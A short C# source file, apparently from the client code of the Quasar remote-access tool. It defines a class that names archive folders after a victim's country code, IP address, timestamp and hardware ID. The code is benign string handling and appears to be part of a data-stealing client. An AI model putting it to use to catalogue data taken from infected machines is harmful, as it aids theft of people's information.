Files
Quasar-1.4.1/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ArchiveStructure.cs
T
2026-08-27 11:22:07 -06:00

30 lines
634 B
C#
Executable File

using System;
using System.Text;
namespace Intelix.Helper.Data;
public class ArchiveStructure
{
private readonly string _rootFolderName;
public string RootFolderName => _rootFolderName;
public ArchiveStructure(string countryCode, string ipAddress, string hwid)
{
DateTime now = DateTime.Now;
string date = now.ToString("yyyy-M-d");
string time = now.ToString("H_m_s");
_rootFolderName = $"{countryCode}_{ipAddress}_{date} {time}_{hwid}";
}
public string GetPath(string relativePath)
{
if (string.IsNullOrEmpty(relativePath))
{
return _rootFolderName;
}
return $"{_rootFolderName}/{relativePath}";
}
}